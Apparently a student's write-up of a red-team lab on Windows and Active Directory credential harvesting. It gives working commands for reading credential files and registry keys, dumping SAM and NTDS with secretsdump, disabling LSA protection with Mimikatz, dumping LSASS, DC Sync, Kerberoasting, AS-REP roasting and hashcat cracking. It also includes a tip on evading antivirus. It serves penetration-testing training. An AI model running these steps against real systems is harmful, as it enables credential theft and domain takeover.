Credentials Harvesting

- **Credentials Access**

Credentials are stored insecurely in various locations in systems:

- Clear-text files
- Database files
- Memory
- Password managers
- Enterprise Vaults
- Active Directory
- Network Sniffing

Clear-text files

Attackers may search a compromised machine for credentials in local or remote file systems. Clear-text files could include sensitive information created by a user, containing passwords, private keys, etc.

some of the types of clear-text files:

- Commands history
- Configuration files (Web App, FTP files, etc.)
- Other Files related to Windows Applications (Internet Browsers, Email Clients, etc.)
- Backup files
- Shared files and folders
- Registry
- Source code

a PowerShell saves executed PowerShell commands in a history file in a user profile in the following
path: `C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`

you can use `type` command to open the file.

It might be worth checking what users are working on or finding sensitive information. Another example would be finding interesting information. For example, the following command is to look for the "password" keyword in the Window registry.

Looking for the "password" Keyword in the Registry

```
c:\Users\user> reg query HKLM /f password /t REG_SZ /s
#OR
C:\Users\user> reg query HKCU /f password /t REG_SZ /s
```

Database Files

Applications utilize database files to read or write settings, configurations, or credentials. Database files are usually stored locally in Windows operating systems. These files are an excellent target to check and hunt for credentials.

Password Managers

A password manager is an application to store and manage users' login information for local and Internet websites and services. Since it deals with users' data, it must be stored securely to prevent unauthorized access.

Examples of Password Manager applications:

- Built-in password managers (Windows)
- Third-party: KeePass, 1Password, LastPass

Memory Dump

The Operating system's memory is a rich source of sensitive information that belongs to the Windows OS, users, and other applications. Data gets loaded into memory at run time or during the execution. Thus, accessing memory is limited to administrator users who fully control the system.

The following are examples of memory stored sensitive data, including:

- Clear-text credentials
- Cached passwords
- AD Tickets

Active Directory

Active Directory stores a lot of information related to users, groups, computers, etc. Thus, enumerating the Active Directory environment is one of the focuses of red team assessments. Active Directory has a solid design, but misconfiguration made by admins makes it vulnerable to various attacks shown in this room.

The following are some of the Active Directory misconfigurations that may leak users' credentials.

- **Users' description**: Administrators set a password in the description for new employees and leave it there, which makes the account vulnerable to unauthorized access.
- **Group Policy SYSVOL**: Leaked encryption keys let attackers access administrator accounts.
- **NTDS:** Contains AD users' credentials, making it a target for attackers.
- **AD Attacks:** Misconfiguration makes AD vulnerable to various attacks.

Network Sniffing

- Gaining initial access to a target network enables attackers to perform various network attacks against local computers, including the AD environment. The Man-In-the-Middle attack against network protocols lets the attacker create a rogue or spoof trusted resources within the network to steal authentication information such as NTLM hashes.

Enumeration for a user description,

```
Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description
```

- **Local Windows Credentials**

Keystrokes

- Keylogger is a software or hardware device to monitor and log keyboard typing activities. Keyloggers were initially designed for legitimate purposes such as feedback for software development or parental control. However, they can be misused to steal data. As a red teamer, hunting for credentials through keyloggers in a busy and interactive environment is a good option. If we know a compromised target has a logged-in user, we can perform keylogging using tools like the Metasploit framework or others.

Security Account Manager (SAM)

- The SAM is a Microsoft Windows database that contains local account information such as usernames and passwords. The SAM database stores these details in an encrypted format to make them harder to be retrieved. Moreover, it can not be read and accessed by any users while the Windows operating system is running. However, there are various ways and attacks to dump the content of the SAM database.

You can access the file by using this command ,

```
C:\Windows\system32>type c:\Windows\System32\config\sam
```

we got 2 methods to dump SAM file credentials through Shadow Copy Service & Windows Registry.

the SAM database is encrypted either with RC4 or AES encryption algorithms. In order to decrypt it, we need a decryption key which is also stored in the files system in `c:\Windows\System32\Config\system`

Registry Hives

Another possible method for dumping the SAM database content, we need two files to decrypt the SAM database's content

```
C:\Users\Administrator\Desktop>reg save HKLM\sam
C:\users\Administrator\Desktop\sam-reg
```

```
C:\Users\Administrator\Desktop>reg save HKLM\system
C:\users\Administrator\Desktop\system-reg
```

Take those files on your kali machine using SCP command.

Let's this time decrypt it using one of the Impacket tools: `secretsdump.py`,The Impacket SecretsDump script extracts credentials from a system locally and remotely using different techniques.

```
python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system
/tmp/system-reg LOCAL
```

- **Local Security Authority Subsystem Service(LSASS)**

Local Security Authority Server Service (LSASS) is a Windows process that handles the operating system security policy and enforces it on a system. It verifies logged in accounts and ensures passwords, hashes, and Kerberos tickets. Windows system stores credentials in the LSASS process to enable users to access network resources, such as file shares, SharePoint sites, and other network services, without entering credentials every time a user connects.

Protected LSASS

In 2012, Microsoft implemented an LSA protection, to keep LSASS from being accessed to extract credentials from memory. This task will show how to disable the LSA protection and dump credentials from memory using Mimikatz.

runs the Mimikatz execution file with admin privileges and enables the debug mode. If the LSA protection is enabled, we will get an error executing the "sekurlsa::logonpasswords" command.

```
mimikatz # sekurlsa::logonpasswords
```

The command returns a 0x00000005 error code message (Access Denied). Lucky for us, Mimikatz provides a mimidrv.sys driver that works on kernel level to disable the LSA protection.

```
mimikatz # !+
```

Note: If this fails with an `isFileExist` error, exit mimikatz, navigate to `C:\Tools\Mimikatz\` and run the command again.

Once the driver is loaded, we can disable the LSA protection.

```
mimikatz # !processprotect /process:lsass.exe /remove
```

Now, if we try to run the "sekurlsa::logonpasswords" command again, it must be executed successfully and show cached credentials in memory.

Another method, u can use the GUI from Task Manager and go to Details, then go to lsass.exe to dump file and get the path and copy it to your kali machine.

if this method failed, u can use Sysinternals process dump utility that runs from the command prompt.

```
c:\>c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe
c:\Tools\Mimikatz\lsass_dump
```

Note that the dump process is writing to disk. Dumping the LSASS process is a known technique used by adversaries. Thus, AV products may flag it as malicious. In the real world, you may be more creative and write code to encrypt or implement a method to bypass AV products.

- **Windows Credentials Manager**

Credential Manager is a Windows feature that stores logon-sensitive information for websites, applications, and networks. It contains login credentials such as usernames, passwords, and internet addresses. There are four credential categories:

- Web credentials contain authentication details stored in Internet browsers or other applications.
- Windows credentials contain Windows authentication details, such as NTLM or Kerberos.
- Generic credentials contain basic authentication details, such as clear-text usernames and passwords.
- Certificate-based credentials: Athunticated details based on certifications.

We will be using the Microsoft Credentials Manager `vaultcmd` utility. Let's start to enumerate if there are any stored credentials.

```
C:\Users\Administrator>vaultcmd /list
```

By default, Windows has two vaults, one for Web and the other one for Windows machine credentials.

Let's check if there are any stored credentials in the Web Credentials

```
C:\Users\Administrator>VaultCmd /listproperties:"Web Credentials
```

The output shows that we have one stored credential in the specified vault. Now let's try to list more information

```
C:\Users\Administrator>VaultCmd /listcreds:"Web Credentials"
```

Credential Dumping

he VaultCmd is not able to show the password, but we can rely on other PowerShell Scripts such as Get-WebCredentials.ps1

Ensure to execute PowerShell with bypass policy to import it as a module as follows,

```
C:\Users\Administrator>powershell -ex bypass
```

```
PS C:\Users\Administrator> Import-Module C:\Tools\Get-WebCredentials.ps1
```

```
PS C:\Users\Administrator> Get-WebCredentials
```

The output shows that we obtained the username and password for accessing the internal application.

RunAs

Enumerating for Stored Windows Credentials

```
C:\Users\thm>cmdkey /list
Currently stored credentials:
    Target: Domain:interactive=thm\thm-local
    Type: Domain Password
    User: thm\thm-local
```

The output shows that we have a domain password stored as the `thm\thm-local` user. Note that stored credentials could be for other servers too. Now let's use runas to execute Windows applications as the `thm-local` user.

```
runas /savecred /user:THM.red\thm-local cmd.exe
```

A new cmd.exe pops up with a command prompt ready to use.

Mimikatz

Mimikatz is a tool that can dump clear-text passwords stored in the Credential Manager from memory.

```
mimikatz # privilege::debug
```

```
mimikatz # sekurlsa::credman
```

- **Domain Controller**

NTDS Domain Controller

New Technologies Directory Services (NTDS) is a database containing all Active Directory data, including objects, attributes, credentials, etc. The NTDS.DTS data consists of three tables as follows:

- Schema table: it contains types of objects and their relationships.
- Link table: it contains the object's attributes and their values.
- Data type: It contains users and groups.

NTDS is located in`C:\Windows\NTDS` by default, and it is encrypted to prevent data extraction from a target machine. Accessing the NTDS.dit file from the machine running is disallowed since the file is used by Active Directory and is locked. However, there are various ways to gain access to it. This task will discuss how to get a copy of the NTDS file using the ntdsutil and Diskshadow tool and finally how to dump the file's content. It is important to note that decrypting the NTDS file requires a system Boot Key to attempt to decrypt LSA Isolated credentials, which is stored in the `SECURITY` file system. Therefore, we must also dump the security file containing all required files to decrypt.

Ntdsutil

Ntdsutil is a Windows utility to used manage and maintain Active Directory configurations. It can be used in various scenarios such as

- Restore deleted objects in Active Directory.
- Perform maintenance for the AD database.
- Active Directory snapshot management.
- Set Directory Services Restore Mode (DSRM) administrator passwords.

Local Dumping (No Credentials)

This is usually done if you have no credentials available but have administrator access to the domain controller. Therefore, we will be relying on Windows utilities to dump the NTDS file and crack them offline.

The following is a one-liner PowerShell command to dump the NTDS file using the Ntdsutil tool in the `C:\temp` directory.

```
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
```

go check the temp file and copy it to your kali machine using SCP command, and dump it using secretdump tool.

```
python3.9 /opt/impacket/examples/secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local
```

Remote Dumping (With Credentials)

we will be showing how to dump a system and domain controller hashes remotely, which requires credentials, such as passwords or NTLM hashes. We also need credentials for users with administrative access to a domain controller or special permissions

DC Sync

The DC Sync is a popular attack to perform within an Active Directory environment to dump credentials remotely. This attack works when an account (special account with necessary permissions) or AD admin account is compromised that has the following AD permissions:

- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes in Filtered Set

we can use mimikatz or secretdump tool to perform this, but here we will use secretdump

```
python3.9 /opt/impacket/examples/secretsdump.py -just-dc THM.red/<AD_Admin_User>@10.10.186.56
```

Let's explain the command a bit more.

- the `-just-dc` argument is for extracting the NTDS data.
- the `thm.red/AD_Admin_User` is the authenticated domain user in the form of (domain/user).

Note if we are interested to dump only the NTLM hashes, then we can use the `-just-dc-ntlm` argument as follows,

Once we obtained hashes, we can either use the hash for a specific user to impersonate him or crack the hash using Cracking tools, such `hashcat`

```
hashcat -m 1000 -a 0 /path/to/wordlist/such/as/rockyou.txt
```

- **Local Administrator Password Solution(LAPS)**

This task discusses how to enumerate and obtain a local administrator password within the Active Directory environment if a LAPS feature is configured and enabled.

A Windows OS has a built-in Administrator account which can be accessed using a password. Changing passwords in a large Windows environment with many computers is challenging.

Therefore, Microsoft implemented a method to change local administrator accounts across workstations using Group Policy Preferences (GPP).

GPP is a tool that allows administrators to create domain policies with embedded credentials. Once the GPP is deployed, different XML files are created in the SYSVOL folder. SYSVOL is an essential component of Active Directory and creates a shared directory on an NTFS volume that all authenticated domain users can access with reading permission.

In 2015, Microsoft removed storing the encrypted password in the SYSVOL folder. It introduced the Local Administrator Password Solution (LAPS), which offers a much more secure approach to remotely managing the local administrator password.

The new method includes two new attributes (ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime) of computer objects in the Active Directory. The `ms-mcs-AdmPwd` attribute contains a clear-text password of the local administrator, while the `ms-mcs-AdmPwdExpirationTime` contains the expiration time to reset the password. LAPS uses `admpwd.dll` to change the local administrator password and update the value of `ms-mcs-AdmPwd`.

Enumerate for LAPS

```
dir "C:\Program Files\LAPS\CSE"
```

The output confirms that we have LAPS on the machine. Let's check the available commands to use for `AdmPwd` cmdlets as follows,

```
Get-Command *AdmPwd*
```

Next, we need to find which AD organizational unit (OU) has the "All extended rights" attribute that deals with LAPS. We will be using the "Find-AdmPwdExtendedRights" cmdlet to provide the right OU. Note that getting the available OUs could be done in the enumeration step, You can use the `-Identity *` argument to list all available OUs.

```
Find-AdmPwdExtendedRights -Identity THMorg
```

The output shows that the `LAPSReader` group in `THMorg` has the right access to LAPS. Let's check the group and its members.

```
net groups "LAPSReader"
```

after knowing the user, we found that it is **bk-admin** , which we cracked his password in the task before in Domain Controller, so we gonna go to his cmd to continue the task using RunAs.

```
net user bk-admin
```

Getting the Password

we can get the LAPS password using `Get-AdmPwdPassword` cmdlet by providing the target machine with LAPS enabled.

```
Get-AdmPwdPassword -ComputerName creds-harvestin
```

Note that in a real-world AD environment, the LAPS is enabled on specific machines only. Thus, you need to enumerate and find the right target computer as well as the right user account to be able to get the LAPS password.

- **Other Attacks**

Kerberoasting

Kerberoasting is a common AD attack to obtain AD tickets that helps with persistence. In order for this attack to work, an adversary must have access to SPN (Service Principal Name) accounts such as IIS User, MSSQL, etc. The Kerberoasting attack involves requesting a Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS). This attack's end goal is to enable privilege escalation and lateral network movement.

First, we need to find an SPN account(s), and then we can send a request to get a TGS ticket. We will perform the Kerberoasting attack using the GetUserSPNs.py python script

```
python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm
```

Once we find the SPN user, we can send a single request to get a TGS ticket for the srv-user user using the -request-user argument.

```
python3.9 /opt/impacket/examples/GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm
-request-user svc-user
```

Now, it is a matter of cracking the obtained TGS ticket using the HashCat tool using `-m 13100` mode as follows,

```
hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt
```

AS-REP Roasting

AS-REP Roasting is the technique that enables the attacker to retrieve password hashes for AD users whose account options have been set to "Do not require Kerberos pre-authentication". This option relies on the old Kerberos authentication protocol, which allows authentication without a password. Once we obtain the hashes, we can try to crack it offline, and finally, if it is crackable, we got a password!

We will be using the Impacket Get-NPUsers script

```
python3.9 /opt/impacket/examples/GetNPUsers.py -dc-ip MACHINE_IP thm.red/ -
usersfile /tmp/users.txt
```

We specified the IP address of the domain controller with the `-dc-ip` argument and provided a list of domain users to check against. Once the tool finds the right user with no preauthentication configuration, it will generate the ticket.

Various cybersecurity and hacking tools also allow cracking the TGTs harvested from Active Directory, including Rubeus and Hashcat. Impacket GetNPUsers has the option to export tickets as John or hashcat format using the `-format` argument.

SMB Relay Attack

The SMB Relay attack abuses the NTLM authentication mechanism (NTLM challenge-response protocol). The attacker performs a Man-in-the-Middle attack to monitor and capture SMB packets and extract hashes. For this attack to work, the SMB signing must be disabled. SMB signing is a security check for integrity and ensures the communication is between trusted sources.

LLMNR/NBNS Poisoning

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) help local network machines to find the right machine if DNS fails. For example, suppose a machine within the network tries to communicate with no existing DNS record (DNS fails to resolve). In that case, the machine sends multicast messages to all network machines asking for the correct address via LLMNR or NBT-NS.

The NBNS/LLMNR Poisoning occurs when an attacker spoofs an authoritative source on the network and responds to the Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) traffic to the requested host with host identification service.

The end goal for SMB relay and LLMNR/NBNS Poisoning attacks is to capture authentication NTLM hashes for a victim, which helps obtain access to the victim's account or machine.